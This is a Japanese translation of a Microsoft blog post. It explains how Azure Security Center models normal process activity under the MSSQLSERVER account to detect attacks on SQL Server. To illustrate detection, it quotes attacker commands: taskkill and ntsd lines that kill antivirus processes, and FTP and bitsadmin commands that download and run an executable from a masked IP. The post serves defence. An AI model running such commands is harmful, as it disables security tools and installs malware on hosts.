Azure Security Center におけるサイバー攻撃の自動検出のしくみ

執筆者: Rob Mead (Senior Software Engineer - Microsoft Threat Intelligence Center)

このポストは、10 月 24 日に投稿された How Azure Security Center automates the detection of cyber attack の翻訳です。

 

今年のはじめに、Greg Cottingham が Azure Security Center で SQL Server に対する攻撃を検出する方法 (英語) について解説してくれましたが、今回はそれをさらに掘り下げ、Security Center で大規模なデータを分析して数種類の攻撃を検出する方法と、検出結果を類似の攻撃に応用する方法についてご紹介したいと思います。

攻撃の手法はどんどん巧妙化しているため、多くの企業がその対応に苦慮しています。また、セキュリティ担当者不足も状況を悪化させ、もはや攻撃検出を人の力だけに頼ることはできなくなっています。Azure Security Center にはセキュリティ アナリストの直観性がアルゴリズムに組み込まれているため、これを使えば攻撃パターンの変化に自動で対応することが可能になります。

それでは、Security Center が SQL Server への攻撃を検出するしくみを見てみましょう。MSSQLSERVER アカウントで実行されたプロセスを分析したところ、平常時は非常に安定しており、ほぼ一定の処理が実行されています。このアカウントの安定性に基づいて、攻撃時に発生する異常なアクティビティを検出するモデルを構築します。

モデルの構築

Security Center でこのデータのモデルを構築する前に、事前処理を実行し、類似ディレクトリで実行されているプロセスをまとめます。これを実行しないと、それぞれが異なるプロセスとしてモデルに認識されてしまいます。ここでは、クラスターに対してプロセス ディレクトリの距離関数を使用し、同一名称のプロセスを集約します。この例を次に示します。

acs-1

これらのプロセスが 1 つにまとめられます。

ここでは、単体でも頻繁に実行され、別ファイルの実行時にも使用される regsvr32.exe や rundll32.exe などのホスト プロセスを捕捉するデータも利用されます。自身の実行権限があるファイルを使用する場合、その権限で実行したあらゆるコードに情報が取り込まれます。

Azure Security Center の検出エンジンは、この正規化されたデータを使用して、サブスクリプション内の MSSQLSERVER で実行されているプロセス数を割り出します。アカウントの安定性を利用することで、簡単にプロセスの名称と実行場所に基づく平常時の挙動を表す堅牢なモデルを生成できます。このモデルを視覚化した図は次のようになります。

異常を検知

SQL Server などに対する攻撃の開始時、攻撃者の最初のアクションは高度に抑制されます。攻撃者はさまざまな攻撃を仕掛けてきますが、そのプロセス実行イベントの痕跡はすべて記録されます。次の図は、SQL Server への攻撃時にサブスクリプションで取得されたデータを基に Security Center で先ほどと同じモデルを構築した例です。この場合、実行数が少ないプロセスが下位に含まれています。このデータに注目します。

このモデルに見られる一部の不自然なプロセスを詳しく見てみましょう。

 taskkill  /im 360rp.exe /f
taskkill  /im 360sd.exe /f
taskkill  /im 360rps.exe /f
ntsd -c q -pn 360rp.exe
ntsd -c q -pn 360sd.exe
ntsd -c q -pn 360rps.exe

最初のフェーズに、ホストで実行されているウイルス対策エンジンを無効化しようとするいくつかの動きが見られます。まずプロセスを終了させる組み込みツールの taskkill が実行され、次にデバッガーの "ntsd" に –pn 引数で妨害対象のプロセスをアタッチし、成功したら "q" コマンドが実行されるようになっています。この "q" コマンドにより、デバッガーが攻撃対象のアプリケーションを終了させます。

ウイルス対策エンジンが無効化されたら、攻撃者はインターネットを介して自由に攻撃用ファイルをダウンロードして実行できるようになります。ダウンロードには 2 つの方法があります。

1 つ目は、FTP プロトコルを使用したものです。echo コマンドを使用して一連の FTP コマンドをファイルに書き込みます。

 echo open xxx.xxx.xxx.xxx>So.2
echo 111>>So.2
echo 000>>So.2
echo get Svn.exe >>So.2
echo bye

次に、これらのコマンドを実行します。

 ftp -s:So.2

ファイルを削除して、実行形式ファイルを実行します。

 del So.2
Svn.exe

実行形式ファイルのダウンロードに失敗した場合、2 つ目の方法として、HTTP で同じアドレスからファイルを取得します。

 bitsadmin  /transfer n https://xxx.xxx.xxx.xxx:xxxx/Svn.exe c:\Users\Public\Svn.exe"

bitsadmin ツール (英語) を使用してインターネットから実行形式ファイルをダウンロードします。

Azure Security Center では、機械学習を使用してこのような異常なアクティビティのアラートを生成します。この際、専門知識や手動の操作などは必要ありません。次の図は、Azure Security Center のアラート表示例です。

結果を分析

このアプローチは特殊な攻撃シナリオの検出に限られますが、新しい攻撃手法の発見を自動化する検出ファクトリとしても利用できます。
これは先ほどの bitsadmin の例です。

 bitsadmin  /transfer n https://xxx.xxx.xxx.xxx:xxxx/xxx.exe
c:\Users\Public\xxx.exe"

これは、攻撃者がオペレーティング システムの組み込み機能を使用してリモート ファイルを実行する一般的な手法です。これを、セキュリティ エキスパートの手を介さずにアルゴリズムだけで発見することができました。

この例では、bitsadmin の使い方は一般的であるものの、リモート場所、ジョブ名、実行形式ファイルの対象ディレクトリが不審です。新しい検出方法では、MSSQLSERVER アカウントで実行されたかどうかに関係なく、通常と異なる bitsadmin が実行されているかどうかに注目します。
bitsadmin と同様の方法で生成されたアラートに関して、単体の検出条件としての適正分析が行われます。このようにして、他の攻撃の動向が共通手法として共有され、お客様のサブスクリプションへの攻撃が発生した際のアラートに利用されるようになります。

まとめ

SQL Server ユーザーは、Azure Security Center の利用により自動でこの検出アプローチのメリットを受けられます。異常検出に基づくアプローチでは、エキスパートの手を介することなく、手法の変化に対応して新しい攻撃のアラートを生成できます。生成された新しい攻撃手法の検出根拠は Security Center にフィードバックされ、すべてのユーザーの保護に利用されます。

今回紹介した攻撃の種類や軽減策については、ブログ記事「Azure Security Center を利用したサイバー攻撃の検出方法 (英語)」を参照してください。

Azure Security Center での検出について、詳しくは以下の資料を参照してください。